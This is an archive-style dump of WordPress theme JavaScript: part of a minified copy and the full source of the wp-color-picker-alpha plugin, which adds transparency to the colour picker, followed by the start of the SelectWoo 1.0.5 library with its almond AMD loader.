o,a,t,r=this,i=r.active;r._super(),r.alphaOptions.alphaEnabled&&(o=r.controls,a=parseInt(100*r._color._alpha),t=["rgb("+(t=r._color.toRgb()).r+","+t.g+","+t.b+") 0%","rgba("+t.r+","+t.g+","+t.b+", 0) 100%"],r.picker.closest(".wp-picker-container").find(".wp-color-result"),r.options.color=r._getColor(),o.stripAlpha.css({background:"linear-gradient(to bottom, "+t.join(", ")+"), url("+l+")"}),i&&o.stripAlphaSlider.slider("value",a),r._color.error||r.element.removeClass("iris-error").val(r.options.color),r.picker.find(".iris-palette-container").on("click.palette",".iris-palette",function(){var o=e(this).data("color");r.alphaOptions.alphaReset&&(r._color._alpha=1,o=r._getColor()),r._setOption("color",o)}))},_paintDimension:function(o,a){var t=this,r=!1;t.alphaOptions.alphaEnabled&&"strip"===a&&(r=t._color,t._color=new Color(r.toString()),t.hue=t._color.h()),t._super(o,a),r&&(t._color=r)},_setOption:function(o,a){var t=this;if("color"!==o||!t.alphaOptions.alphaEnabled)return t._super(o,a);a=""+a,newColor=new Color(a).setHSpace(t.options.mode),newColor.error||t._getColor(newColor)===t._getColor()||(t._color=newColor,t.options.color=t._getColor(),t.active="external",t._change())},color:function(o){return!0===o?this._color.clone():o===a?this._getColor():void this.option("color",o)}}),e.widget("wp.wpColorPicker",e.wp.wpColorPicker,{alphaOptions:{alphaEnabled:!1},_getAlphaOptions:function(){var r=this.element,o=r.data("type")||this.options.type,i=r.data("defaultColor")||r.val(),l={alphaEnabled:r.data("alphaEnabled")||!1,alphaCustomWidth:130,alphaReset:!1,alphaColorType:"rgb",alphaColorWithSpace:!1};return l.alphaEnabled&&(l.alphaEnabled=r.is("input")&&"full"===o),l.alphaEnabled&&(l.alphaColorWithSpace=i&&i.match(/\s/),e.each(l,function(o,a){var t=r.data(o)||a;switch(o){case"alphaCustomWidth":t=t?parseInt(t,10):0,t=isNaN(t)?a:t;break;case"alphaColorType":t.match(/^(hex|(rgb|hsl)a?)$/)||(t=i&&i.match(/^#/)?"hex":i&&i.match(/^hsla?/)?"hsl":a);break;default:t=!!t}l[o]=t})),l},_create:function(){e.support.iris&&(this.alphaOptions=this._getAlphaOptions(),this._super())},_addListeners:function(){if(!this.alphaOptions.alphaEnabled)return this._super();var t=this,r=t.element,i=t.toggler.is("a");this.alphaOptions.defaultWidth=r.width(),this.alphaOptions.alphaCustomWidth&&r.width(parseInt(this.alphaOptions.defaultWidth+this.alphaOptions.alphaCustomWidth,10)),t.toggler.css({position:"relative","background-image":"url("+l+")"}),i?t.toggler.html('<span class="color-alpha" />'):t.toggler.append('<span class="color-alpha" />'),t.colorAlpha=t.toggler.find("span.color-alpha").css({width:"30px",height:"100%",position:"absolute",top:0,"background-color":r.val()}),"ltr"===t.colorAlpha.css("direction")?t.colorAlpha.css({"border-bottom-left-radius":"2px","border-top-left-radius":"2px",left:0}):t.colorAlpha.css({"border-bottom-right-radius":"2px","border-top-right-radius":"2px",right:0}),r.iris({change:function(o,a){t.colorAlpha.css({"background-color":a.color.to_s(t.alphaOptions.alphaColorType)}),e.isFunction(t.options.change)&&t.options.change.call(this,o,a)}}),t.wrap.on("click.wpcolorpicker",function(o){o.stopPropagation()}),t.toggler.click(function(){t.toggler.hasClass("wp-picker-open")?t.close():t.open()}),r.change(function(o){var a=e(this).val();(r.hasClass("iris-error")||""===a||a.match(/^(#|(rgb|hsl)a?)$/))&&(i&&t.toggler.removeAttr("style"),t.colorAlpha.css("background-color",""),e.isFunction(t.options.clear)&&t.options.clear.call(this,o))}),t.button.click(function(o){e(this).hasClass("wp-picker-default")?r.val(t.options.defaultColor).change():e(this).hasClass("wp-picker-clear")&&(r.val(""),i&&t.toggler.removeAttr("style"),t.colorAlpha.css("background-color",""),e.isFunction(t.options.clear)&&t.options.clear.call(this,o),r.trigger("change"))})}}))}(jQuery); core/custom-controls/assets/js/wp-color-picker-alpha.js 0000666 00000042130 15236704333 0017235 0 ustar 00 /**!
* wp-color-picker-alpha
*
* Overwrite Automattic Iris for enabled Alpha Channel in wpColorPicker
* Only run in input and is defined data alpha in true
*
* Version: 3.0.0
* https://github.com/kallookoo/wp-color-picker-alpha
* Licensed under the GPLv2 license or later.
*/
( function( $, undef ) {
var wpColorPickerAlpha = {
'version' : 300
};
// Always try to use the last version of this script.
if ( 'wpColorPickerAlpha' in window && 'version' in window.wpColorPickerAlpha ) {
var version = parseInt( window.wpColorPickerAlpha.version, 10 );
if ( ! isNaN( version ) && version >= wpColorPickerAlpha.version ) {
return;
}
}
// Prevent multiple initiations
if ( Color.fn.hasOwnProperty( 'to_s' ) ) {
return;
}
// Create new method to replace the `Color.toString()` inside the scripts.
Color.fn.to_s = function( type ) {
type = ( type || 'hex' );
// Change hex to rgba to return the correct color.
if ( 'hex' === type && this._alpha < 1 ) {
type = 'rgba';
}
var color = '';
if ( 'hex' === type ) {
color = this.toString();
} else if ( ! this.error ) {
color = this.toCSS( type ).replace( /\(\s+/, '(' ).replace( /\s+\)/, ')' );
}
return color;
}
// Register the global variable.
window.wpColorPickerAlpha = wpColorPickerAlpha;
// Background image encoded
var backgroundImage = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAAHnlligAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAHJJREFUeNpi+P///4EDBxiAGMgCCCAGFB5AADGCRBgYDh48CCRZIJS9vT2QBAggFBkmBiSAogxFBiCAoHogAKIKAlBUYTELAiAmEtABEECk20G6BOmuIl0CIMBQ/IEMkO0myiSSraaaBhZcbkUOs0HuBwDplz5uFJ3Z4gAAAABJRU5ErkJggg==';
/**
* Iris
*/
$.widget( 'a8c.iris', $.a8c.iris, {
/**
* Alpha options
*
* @since 3.0.0
*
* @type {Object}
*/
alphaOptions: {
alphaEnabled: false,
},
/**
* Get the current color or the new color.
*
* @since 3.0.0
* @access private
*
* @param {Object|*} The color instance if not defined return the cuurent color.
*
* @return {string} The element's color.
*/
_getColor: function( color ) {
if ( color === undef ) {
color = this._color;
}
if ( this.alphaOptions.alphaEnabled ) {
color = color.to_s( this.alphaOptions.alphaColorType );
if ( ! this.alphaOptions.alphaColorWithSpace ) {
color = color.replace( /\s+/g, '' );
}
return color;
}
return color.toString();
},
/**
* Create widget
*
* @since 3.0.0
* @access private
*
* @return {void}
*/
_create: function() {
try {
// Try to get the wpColorPicker alpha options.
this.alphaOptions = this.element.wpColorPicker( 'instance' ).alphaOptions;
} catch( e ) {}
// We make sure there are all options
$.extend( {}, this.alphaOptions, {
alphaEnabled: false,
alphaCustomWidth: 130,
alphaReset: false,
alphaColorType: 'hex',
alphaColorWithSpace: false,
} );
this._super();
},
/**
* Binds event listeners to the Iris.
*
* @since 3.0.0
* @access private
*
* @return {void}
*/
_addInputListeners: function( input ) {
var self = this,
debounceTimeout = 100,
callback = function( event ){
var val = input.val(),
color = new Color( val ),
val = val.replace( /^(#|(rgb|hsl)a?)/, '' ),
type = self.alphaOptions.alphaColorType;
input.removeClass( 'iris-error' );
if ( ! color.error ) {
// let's not do this on keyup for hex shortcodes
if ( 'hex' !== type || ! ( event.type === 'keyup' && val.match( /^[0-9a-fA-F]{3}$/ ) ) ) {
// Compare color ( #AARRGGBB )
if ( color.toIEOctoHex() !== self._color.toIEOctoHex() ) {
self._setOption( 'color', self._getColor( color ) );
}
}
} else if ( val !== '' ) {
input.addClass( 'iris-error' );
}
};
input.on( 'change', callback ).on( 'keyup', self._debounce( callback, debounceTimeout ) );
// If we initialized hidden, show on first focus. The rest is up to you.
if ( self.options.hide ) {
input.one( 'focus', function() {
self.show();
});
}
},
/**
* Init Controls
*
* @since 3.0.0
* @access private
*
* @return {void}
*/
_initControls: function() {
this._super();
if ( this.alphaOptions.alphaEnabled ) {
// Create Alpha controls
var self = this,
stripAlpha = self.controls.strip.clone(false, false),
stripAlphaSlider = stripAlpha.find( '.iris-slider-offset' ),
controls = {
stripAlpha : stripAlpha,
stripAlphaSlider : stripAlphaSlider
};
stripAlpha.addClass( 'iris-strip-alpha' );
stripAlphaSlider.addClass( 'iris-slider-offset-alpha' );
stripAlpha.appendTo( self.picker.find( '.iris-picker-inner' ) );
// Push new controls
$.each( controls, function( k, v ) {
self.controls[k] = v;
} );
// Create slider
self.controls.stripAlphaSlider.slider( {
orientation : 'vertical',
min : 0,
max : 100,
step : 1,
value : parseInt( self._color._alpha * 100 ),
slide : function( event, ui ) {
self.active = 'strip';
// Update alpha value
self._color._alpha = parseFloat( ui.value / 100 );
self._change.apply( self, arguments );
}
} );
}
},
/**
* Create the controls sizes
*
* @since 3.0.0
* @access private
*
* @param {bool} reset Set to True for recreate the controls sizes.
*
* @return {void}
*/
_dimensions: function( reset ) {
this._super( reset );
if ( this.alphaOptions.alphaEnabled ) {
var self = this,
opts = self.options,
controls = self.controls,
square = controls.square,
strip = self.picker.find( '.iris-strip' ),
innerWidth, squareWidth, stripWidth, stripMargin, totalWidth;
/**
* I use Math.round() to avoid possible size errors,
* this function returns the value of a number rounded
* to the nearest integer.
*
* The width to append all widgets,
* if border is enabled, 22 is subtracted.
* 20 for css left and right property
* 2 for css border
*/
innerWidth = Math.round( self.picker.outerWidth( true ) - ( opts.border ? 22 : 0 ) );
// The width of the draggable, aka square.
squareWidth = Math.round( square.outerWidth() );
// The width for the sliders
stripWidth = Math.round( ( innerWidth - squareWidth ) / 2 );
// The margin for the sliders
stripMargin = Math.round( stripWidth / 2 );
// The total width of the elements.
totalWidth = Math.round( squareWidth + ( stripWidth * 2 ) + ( stripMargin * 2 ) );
// Check and change if necessary.
while ( totalWidth > innerWidth ) {
stripWidth = Math.round( stripWidth - 2 );
stripMargin = Math.round( stripMargin - 1 );
totalWidth = Math.round( squareWidth + ( stripWidth * 2 ) + ( stripMargin * 2 ) );
}
square.css( 'margin', '0' );
strip.width( stripWidth ).css( 'margin-left', stripMargin + 'px' );
}
},
/**
* Callback to update the controls and the current color.
*
* @since 3.0.0
* @access private
*
* @return {void}
*/
_change: function() {
var self = this,
active = self.active;
self._super();
if ( self.alphaOptions.alphaEnabled ) {
var controls = self.controls,
alpha = parseInt( self._color._alpha * 100 ),
color = self._color.toRgb(),
gradient = [
'rgb(' + color.r + ',' + color.g + ',' + color.b + ') 0%',
'rgba(' + color.r + ',' + color.g + ',' + color.b + ', 0) 100%'
],
target = self.picker.closest( '.wp-picker-container' ).find( '.wp-color-result' );
self.options.color = self._getColor();
// Generate background slider alpha, only for CSS3.
controls.stripAlpha.css( { 'background' : 'linear-gradient(to bottom, ' + gradient.join( ', ' ) + '), url(' + backgroundImage + ')' } );
// Update alpha value
if ( active ) {
controls.stripAlphaSlider.slider( 'value', alpha );
}
if ( ! self._color.error ) {
self.element.removeClass( 'iris-error' ).val( self.options.color );
}
self.picker.find( '.iris-palette-container' ).on( 'click.palette', '.iris-palette', function() {
var color = $( this ).data( 'color' );
if ( self.alphaOptions.alphaReset ) {
self._color._alpha = 1;
color = self._getColor();
}
self._setOption( 'color', color );
} );
}
},
/**
* Paint dimensions.
*
* @since 3.0.0
* @access private
*
* @param {string} origin Origin (position).
* @param {string} control Type of the control,
*
* @return {void}
*/
_paintDimension: function( origin, control ) {
var self = this,
color = false;
// Fix for slider hue opacity.
if ( self.alphaOptions.alphaEnabled && 'strip' === control ) {
color = self._color;
self._color = new Color( color.toString() );
self.hue = self._color.h();
}
self._super( origin, control );
// Restore the color after paint.
if ( color ) {
self._color = color;
}
},
/**
* To update the options, see original source to view the available options.
*
* @since 3.0.0
*
* @param {string} key The Option name.
* @param {mixed} value The Option value to update.
*
* @return {void}
*/
_setOption: function( key, value ) {
var self = this;
if ( 'color' === key && self.alphaOptions.alphaEnabled ) {
// cast to string in case we have a number
value = '' + value;
newColor = new Color( value ).setHSpace( self.options.mode );
// Check if error && Check the color to prevent callbacks with the same color.
if ( ! newColor.error && self._getColor( newColor ) !== self._getColor() ) {
self._color = newColor;
self.options.color = self._getColor();
self.active = 'external';
self._change();
}
} else {
return self._super( key, value );
}
},
/**
* Returns the iris object if no new color is provided. If a new color is provided, it sets the new color.
*
* @param newColor {string|*} The new color to use. Can be undefined.
*
* @since 3.0.0
*
* @return {string} The element's color.
*/
color: function( newColor ) {
if ( newColor === true ) {
return this._color.clone();
}
if ( newColor === undef ) {
return this._getColor();
}
this.option( 'color', newColor );
},
} );
/**
* wpColorPicker
*/
$.widget( 'wp.wpColorPicker', $.wp.wpColorPicker, {
/**
* Alpha options
*
* @since 3.0.0
*
* @type {Object}
*/
alphaOptions: {
alphaEnabled: false,
},
/**
* Get the alpha options.
*
* @since 3.0.0
* @access private
*
* @return {object} The current alpha options.
*/
_getAlphaOptions: function() {
var el = this.element,
type = ( el.data( 'type' ) || this.options.type ),
color = ( el.data( 'defaultColor' ) || el.val() ),
options = {
alphaEnabled: ( el.data( 'alphaEnabled' ) || false ),
alphaCustomWidth: 130,
alphaReset: false,
alphaColorType: 'rgb',
alphaColorWithSpace: false,
};
if ( options.alphaEnabled ) {
options.alphaEnabled = ( el.is( 'input' ) && 'full' === type );
}
if ( ! options.alphaEnabled ) {
return options;
}
options.alphaColorWithSpace = ( color && color.match( /\s/ ) );
$.each( options, function( name, defaultValue ) {
var value = ( el.data( name ) || defaultValue );
switch ( name ) {
case 'alphaCustomWidth':
value = ( value ? parseInt( value, 10 ) : 0 );
value = ( isNaN( value ) ? defaultValue : value );
break;
case 'alphaColorType':
if ( ! value.match( /^(hex|(rgb|hsl)a?)$/ ) ) {
if ( color && color.match( /^#/ ) ) {
value = 'hex';
} else if ( color && color.match( /^hsla?/ ) ) {
value = 'hsl';
} else {
value = defaultValue;
}
}
break;
default:
value = !!value;
break;
}
options[name] = value;
} );
return options;
},
/**
* Create widget
*
* @since 3.0.0
* @access private
*
* @return {void}
*/
_create: function() {
// Return early if Iris support is missing.
if ( ! $.support.iris ) {
return;
}
// Set the alpha options for the current instance.
this.alphaOptions = this._getAlphaOptions();
// Create widget.
this._super();
},
/**
* Binds event listeners to the color picker and create options, etc...
*
* @since 3.0.0
* @access private
*
* @return {void}
*/
_addListeners: function() {
if ( ! this.alphaOptions.alphaEnabled ) {
return this._super();
}
var self = this,
el = self.element,
isDeprecated = self.toggler.is( 'a' );
this.alphaOptions.defaultWidth = el.width();
if ( this.alphaOptions.alphaCustomWidth ) {
el.width( parseInt( this.alphaOptions.defaultWidth + this.alphaOptions.alphaCustomWidth, 10 ) );
}
self.toggler.css( {
'position': 'relative',
'background-image' : 'url(' + backgroundImage + ')'
} );
if ( isDeprecated ) {
self.toggler.html( '<span class="color-alpha" />' );
} else {
self.toggler.append( '<span class="color-alpha" />' );
}
self.colorAlpha = self.toggler.find( 'span.color-alpha' ).css( {
'width' : '30px',
'height' : '100%',
'position' : 'absolute',
'top' : 0,
'background-color' : el.val(),
} );
// Define the correct position for ltr or rtl direction.
if ( 'ltr' === self.colorAlpha.css( 'direction' ) ) {
self.colorAlpha.css( {
'border-bottom-left-radius' : '2px',
'border-top-left-radius' : '2px',
'left' : 0
} );
} else {
self.colorAlpha.css( {
'border-bottom-right-radius' : '2px',
'border-top-right-radius' : '2px',
'right' : 0
} );
}
el.iris( {
/**
* @summary Handles the onChange event if one has been defined in the options.
*
* Handles the onChange event if one has been defined in the options and additionally
* sets the background color for the toggler element.
*
* @since 3.0.0
*
* @param {Event} event The event that's being called.
* @param {HTMLElement} ui The HTMLElement containing the color picker.
*
* @returns {void}
*/
change: function( event, ui ) {
self.colorAlpha.css( { 'background-color': ui.color.to_s( self.alphaOptions.alphaColorType ) } );
// fire change callback if we have one
if ( $.isFunction( self.options.change ) ) {
self.options.change.call( this, event, ui );
}
}
} );
/**
* Prevent any clicks inside this widget from leaking to the top and closing it.
*
* @since 3.0.0
*
* @param {Event} event The event that's being called.
*
* @return {void}
*/
self.wrap.on( 'click.wpcolorpicker', function( event ) {
event.stopPropagation();
});
/**
* Open or close the color picker depending on the class.
*
* @since 3.0.0
*/
self.toggler.click( function() {
if ( self.toggler.hasClass( 'wp-picker-open' ) ) {
self.close();
} else {
self.open();
}
});
/**
* Checks if value is empty when changing the color in the color picker.
* If so, the background color is cleared.
*
* @since 3.0.0
*
* @param {Event} event The event that's being called.
*
* @return {void}
*/
el.change( function( event ) {
var val = $( this ).val();
if ( el.hasClass( 'iris-error' ) || val === '' || val.match( /^(#|(rgb|hsl)a?)$/ ) ) {
if ( isDeprecated ) {
self.toggler.removeAttr( 'style' );
}
self.colorAlpha.css( 'background-color', '' );
// fire clear callback if we have one
if ( $.isFunction( self.options.clear ) ) {
self.options.clear.call( this, event );
}
}
} );
/**
* Enables the user to either clear the color in the color picker or revert back to the default color.
*
* @since 3.0.0
*
* @param {Event} event The event that's being called.
*
* @return {void}
*/
self.button.click( function( event ) {
if ( $( this ).hasClass( 'wp-picker-default' ) ) {
el.val( self.options.defaultColor ).change();
} else if ( $( this ).hasClass( 'wp-picker-clear' ) ) {
el.val( '' );
if ( isDeprecated ) {
self.toggler.removeAttr( 'style' );
}
self.colorAlpha.css( 'background-color', '' );
// fire clear callback if we have one
if ( $.isFunction( self.options.clear ) ) {
self.options.clear.call( this, event );
}
el.trigger( 'change' );
}
} );
},
} );
} ( jQuery ) ); core/custom-controls/assets/js/selectWoo.js 0000666 00000454140 15236704333 0015111 0 ustar 00 /*!
* SelectWoo 1.0.5
* https://github.com/woocommerce/selectWoo
*
* Released under the MIT license
* https://github.com/woocommerce/selectWoo/blob/master/LICENSE.md
*/
(function (factory) {
if (typeof define === 'function' && define.amd) {
// AMD. Register as an anonymous module.
define(['jquery'], factory);
} else if (typeof module === 'object' && module.exports) {
// Node/CommonJS
module.exports = function (root, jQuery) {
if (jQuery === undefined) {
// require('jQuery') returns a factory that requires window to
// build a jQuery instance, we normalize how we use modules
// that require this pattern but the window provided is a noop
// if it's defined (how jquery works)
if (typeof window !== 'undefined') {
jQuery = require('jquery');
}
else {
jQuery = require('jquery')(root);
}
}
factory(jQuery);
return jQuery;
};
} else {
// Browser globals
factory(jQuery);
}
} (function (jQuery) {
// This is needed so we can catch the AMD loader configuration and use it
// The inner file should be wrapped (by `banner.start.js`) in a function that
// returns the AMD loader references.
var S2 =(function () {
// Restore the Select2 AMD loader so it can be used
// Needed mostly in the language files, where the loader is not inserted
if (jQuery && jQuery.fn && jQuery.fn.select2 && jQuery.fn.select2.amd) {
var S2 = jQuery.fn.select2.amd;
}
var S2;(function () { if (!S2 || !S2.requirejs) {
if (!S2) { S2 = {}; } else { require = S2; }
/**
* @license almond 0.3.3 Copyright jQuery Foundation and other contributors.
* Released under MIT license, http://github.com/requirejs/almond/LICENSE
*/
//Going sloppy to avoid 'use strict' string cost, but strict practices should
//be followed.
/*global setTimeout: false */
var requirejs, require, define;
(function (undef) {
var main, req, makeMap, handlers,
defined = {},
waiting = {},
config = {},
defining = {},
hasOwn = Object.prototype.hasOwnProperty,
aps = [].slice,
jsSuffixRegExp = /\.js$/;
function hasProp(obj, prop) {
return hasOwn.call(obj, prop);
}
/**
* Given a relative module name, like ./something, normalize it to
* a real name that can be mapped to a path.
* @param {String} name the relative name
* @param {String} baseName a real name that the name arg is relative
* to.
* @returns {String} normalized name
*/
function normalize(name, baseName) {
var nameParts, nameSegment, mapValue, foundMap, lastIndex,
foundI, foundStarMap, starI, i, j, part, normalizedBaseParts,
baseParts = baseName && baseName.split("/"),
map = config.map,
starMap = (map && map['*']) || {};
//Adjust any relative paths.
if (name) {
name = name.split('/');
lastIndex = name.length - 1;
// If wanting node ID compatibility, strip .js from end
// of IDs. Have to do this here, and not in nameToUrl
// because node allows either .js or non .js to map
// to same file.
if (config.nodeIdCompat && jsSuffixRegExp.test(name[lastIndex])) {
name[lastIndex] = name[lastIndex].replace(jsSuffixRegExp, '');
}
// Starts with a '.' so need the baseName
if (name[0].charAt(0) === '.' && baseParts) {
//Convert baseName to array, and lop off the last part,
//so that . matches that 'directory' and not name of the baseName's
//module. For instance, baseName of 'one/two/three', maps to
//'one/two/three.js', but we want the directory, 'one/two' for
//this normalization.
normalizedBaseParts = baseParts.slice(0, baseParts.length - 1);
name = normalizedBaseParts.concat(name);
}
//start trimDots
for (i = 0; i < name.length; i++) {
part = name[i];
if (part === '.') {
name.splice(i, 1);
i -= 1;
} else if (part === '..') {
// If at the start, or previous value is still ..,
// keep them so that when converted to a path it may
// still work when converted to a path, even though
// as an ID it is less than ideal. In larger point
// releases, may be better to just kick out an error.
if (i === 0 || (i === 1 && name[2] === '..') || name[i - 1] === '..') {
continue;
} else if (i > 0) {
name.splice(i - 1, 2);
i -= 2;
}
}
}
//end trimDots
name = name.join('/');
}
//Apply map config if available.
if ((baseParts || starMap) && map) {
nameParts = name.split('/');
for (i = nameParts.length; i > 0; i -= 1) {
nameSegment = nameParts.slice(0, i).join("/");
if (baseParts) {
//Find the longest baseName segment match in the config.
//So, do joins on the biggest to smallest lengths of baseParts.
for (j = baseParts.length; j > 0; j -= 1) {
mapValue = map[baseParts.slice(0, j).join('/')];
//baseName segment has config, find if it has one for
//this name.
if (mapValue) {
mapValue = mapValue[nameSegment];
if (mapValue) {
//Match, update name to the new value.
foundMap = mapValue;
foundI = i;
break;
}
}
}
}
if (foundMap) {
break;
}
//Check for a star map match, but just hold on to it,
//if there is a shorter segment match later in a matching
//config, then favor over this star map.
if (!foundStarMap && starMap && starMap[nameSegment]) {
foundStarMap = starMap[nameSegment];
starI = i;
}
}
if (!foundMap && foundStarMap) {
foundMap = foundStarMap;
foundI = starI;
}
if (foundMap) {
nameParts.splice(0, foundI, foundMap);
name = nameParts.join('/');
}
}
return name;
}
function makeRequire(relName, forceSync) {
return function () {
//A version of a require function that passes a moduleName
//value for items that may need to
//look up paths relative to the moduleName
var args = aps.call(arguments, 0);
//If first arg is not require('string'), and there is only
//one arg, it is the array form without a callback. Insert
//a null so that the following concat is correct.
if (typeof args[0] !== 'string' && args.length === 1) {
args.push(null);
}
return req.apply(undef, args.concat([relName, forceSync]));
};
}
function makeNormalize(relName) {
return function (name) {
return normalize(name, relName);
};
}
function makeLoad(depName) {
return function (value) {
defined[depName] = value;
};
}
function callDep(name) {
if (hasProp(waiting, name)) {
var args = waiting[name];
delete waiting[name];
defining[name] = true;
main.apply(undef, args);
}
if (!hasProp(defined, name) && !hasProp(defining, name)) {
throw new Error('No ' + name);
}
return defined[name];
}
//Turns a plugin!resource to [plugin, resource]
//with the plugin being undefined if the name
//did not have a plugin prefix.
function splitPrefix(name) {
var prefix,
index = name ? name.indexOf('!') : -1;
if (index > -1) {
prefix = name.substring(0, index);
name = name.substring(index + 1, name.length);
}
return [prefix, name];
}
//Creates a parts array for a relName where first part is plugin ID,
//second part is resource ID. Assumes relName has already been normalized.
function makeRelParts(relName) {
return relName ? splitPrefix(relName) : [];
}
/**
* Makes a name map, normalizing the name, and using a plugin
* for normalization if necessary. Grabs a ref to plugin
* too, as an optimization.
*/
makeMap = function (name, relParts) {
var plugin,
parts = splitPrefix(name),
prefix = parts[0],
relResourceName = relParts[1];
name = parts[1];
if (prefix) {
prefix = normalize(prefix, relResourceName);
plugin = callDep(prefix);
}
//Normalize according
if (prefix) {
if (plugin && plugin.normalize) {
name = plugin.normalize(name, makeNormalize(relResourceName));
} else {
name = normalize(name, relResourceName);
}
} else {
name = normalize(name, relResourceName);
parts = splitPrefix(name);
prefix = parts[0];
name = parts[1];
if (prefix) {
plugin = callDep(prefix);
}
}
//Using ridiculous property names for space reasons
return {
f: prefix ? prefix + '!' + name : name, //fullName
n: name,
pr: prefix,
p: plugin
};
};
function makeConfig(name) {
return function () {
return (config && config.config && config.config[name]) || {};
};
}
handlers = {
require: function (name) {
return makeRequire(name);
},
exports: function (name) {
var e = defined[name];
if (typeof e !== 'undefined') {
return e;
} else {
return (defined[name] = {});
}
},
module: function (name) {
return {
id: name,
uri: '',
exports: defined[name],
config: makeConfig(name)
};
}
};
main = function (name, deps, callback, relName) {
var cjsModule, depName, ret, map, i, relParts,
args = [],
callbackType = typeof callback,
usingExports;
//Use name if no relName
relName = relName || name;
relParts = makeRelParts(relName);
//Call the callback to define the module, if necessary.
if (callbackType === 'undefined' || callbackType === 'function') {
//Pull out the defined dependencies and pass the ordered
//values to the callback.
//Default to [require, exports, module] if no deps
deps = !deps.length && callback.length ? ['require', 'exports', 'module'] : deps;
for (i = 0; i < deps.length; i += 1) {
map = makeMap(deps[i], relParts);
depName = map.f;
//Fast path CommonJS standard dependencies.
if (depName === "require") {
args[i] = handlers.require(name);
} else if (depName === "exports") {
//CommonJS module spec 1.1
args[i] = handlers.exports(name);
usingExports = true;
} else if (depName === "module") {
//CommonJS module spec 1.1
cjsModule = args[i] = handlers.module(name);
} else if (hasProp(defined, depName) ||
hasProp(waiting, depName) ||
hasProp(defining, depName)) {
args[i] = callDep(depName);
} else if (map.p) {
map.p.load(map.n, makeRequire(relName, true), makeLoad(depName), {});
args[i] = defined[depName];
} else {
throw new Error(name + ' missing ' + depName);
}
}
ret = callback ? callback.apply(defined[name], args) : undefined;
if (name) {
//If setting exports via "module" is in play,
//favor that over return value and exports. After that,
//favor a non-undefined return value over exports use.
if (cjsModule && cjsModule.exports !== undef &&
cjsModule.exports !== defined[name]) {
defined[name] = cjsModule.exports;
} else if (ret !== undef || !usingExports) {
//Use the return value from the function.
defined[name] = ret;
}
}
} else if (name) {
//May just be an object definition for the module. Only
//worry about defining if have a module name.
defined[name] = callback;
}
};
requirejs = require = req = function (deps, callback, relName, forceSync, alt) {
if (typeof deps === "string") {
if (handlers[deps]) {
//callback in this case is really relName
return handlers[deps](callback);
}
//Just return the module wanted. In this scenario, the
//deps arg is the module name, and second arg (if passed)
//is just the relName.
//Normalize module name, if it contains . or ..
return callDep(makeMap(deps, makeRelParts(callback)).f);
} else if (!deps.splice) {
//deps is a config object, not an array.
config = deps;
if (config.deps) {
req(config.deps, config.callback);
}
if (!callback) {
return;
}
if (callback.splice) {
//callback is an array, which means it is a dependency list.
//Adjust args if there are dependencies
deps = callback;
callback = relName;
relName = null;
} else {
deps = undef;
}
}
//Support require(['a'])
callback = callback || function () {};
//If relName is a function, it is an errback handler,
//so remove it.
if (typeof relName === 'function') {
relName = forceSync;
forceSync = alt;
}
//Simulate async callback;
if (forceSync) {
main(undef, deps, callback, relName);
} else {
//Using a non-zero value because of concern for what old browsers
//do, and latest browsers "upgrade" to 4 if lower value is used:
//http://www.whatwg.org/specs/web-apps/current-work/multipage/timers.html#dom-windowtimers-settimeout:
//If want a value immediately, use require('id') instead -- something
//that works in almond on the global level, but not guaranteed and
//unlikely to work in other AMD implementations.
setTimeout(function () {
main(undef, deps, callback, relName);
}, 4);
}
return req;
};
/**
* Just drops the config on the floor, but returns req in case
* the config return value is used.
*/
req.config = function (cfg) {
return req(cfg);
};
/**
* Expose module registry for debugging and tooling
*/
requirejs._defined = defined;
define = function (name, deps, callback) {
if (typeof name !== 'string') {
throw new Error('See almond README: incorrect module build, no module name');
}
//This module may not have dependencies
if (!deps.splice) {
//deps is not an array, so probably means
//an object literal or factory function for
//the value. Adjust args.
callback = deps;
deps = [];
}
if (!hasProp(defined, name) && !hasProp(waiting, name)) {
waiting[name] = [name, deps, callback];
}
};
define.amd = {
jQuery: true
};
}());
S2.requirejs = requirejs;S2.require = require;S2.define = define;
}
}());
S2.define("almond", function(){});
/* global jQuery:false, $:false */
S2.define('jquery',[],function () {
var _$ = jQuery || $;
if (_$ == null && console && console.error) {
console.error(
'Select2: An instance of jQuery or a jQuery-compatible library was not ' +
'found. Make sure that you are including jQuery before Select2 on your ' +
'web page.'
);
}
return _$;
});
S2.define('select2/utils',[
'jquery'
], function ($) {
var Utils = {};
Utils.Extend = function (ChildClass, SuperClass) {
var __hasProp = {}.hasOwnProperty;
function BaseConstructor () {
this.constructor = ChildClass;
}
for (var key in SuperClass) {
if (__hasProp.call(SuperClass, key)) {
ChildClass[key] = SuperClass[key];
}
}
BaseConstructor.prototype = SuperClass.prototype;
ChildClass.prototype = new BaseConstructor();
ChildClass.__super__ = SuperClass.prototype;
return ChildClass;
};
function getMethods (theClass) {
var proto = theClass.prototype;
var methods = [];
for (var methodName in proto) {
var m = proto[methodName];
if (typeof m !== 'function') {
continue;
}
if (methodName === 'constructor') {
continue;
}
methods.push(methodName);
}
return methods;
}
Utils.Decorate = function (SuperClass, DecoratorClass) {
var decoratedMethods = getMethods(DecoratorClass);
var superMethods = getMethods(SuperClass);
function DecoratedClass () {
var unshift = Array.prototype.unshift;
var argCount = DecoratorClass.prototype.constructor.length;
var calledConstructor = SuperClass.prototype.constructor;
if (argCount > 0) {
unshift.call(arguments, SuperClass.prototype.constructor);
calledConstructor = DecoratorClass.prototype.constructor;
}
calledConstructor.apply(this, arguments);
}
DecoratorClass.displayName = SuperClass.displayName;
function ctr () {
this.constructor = DecoratedClass;
}
DecoratedClass.prototype = new ctr();
for (var m = 0; m < superMethods.length; m++) {
var superMethod = superMethods[m];
DecoratedClass.prototype[superMethod] =
SuperClass.prototype[superMethod];
}
var calledMethod = function (methodName) {
// Stub out the original method if it's not decorating an actual method
var originalMethod = function () {};
if (methodName in DecoratedClass.prototype) {
originalMethod = DecoratedClass.prototype[methodName];
}
var decoratedMethod = DecoratorClass.prototype[methodName];
return function () {
var unshift = Array.prototype.unshift;
unshift.call(arguments, originalMethod);
return decoratedMethod.apply(this, arguments);
};
};
for (var d = 0; d < decoratedMethods.length; d++) {
var decoratedMethod = decoratedMethods[d];
DecoratedClass.prototype[decoratedMethod] = calledMethod(decoratedMethod);
}
return DecoratedClass;
};
var Observable = function () {
this.listeners = {};
};
Observable.prototype.on = function (event, callback) {
this.listeners = this.listeners || {};
if (event in this.listeners) {
this.listeners[event].push(callback);
} else {
this.listeners[event] = [callback];
}
};
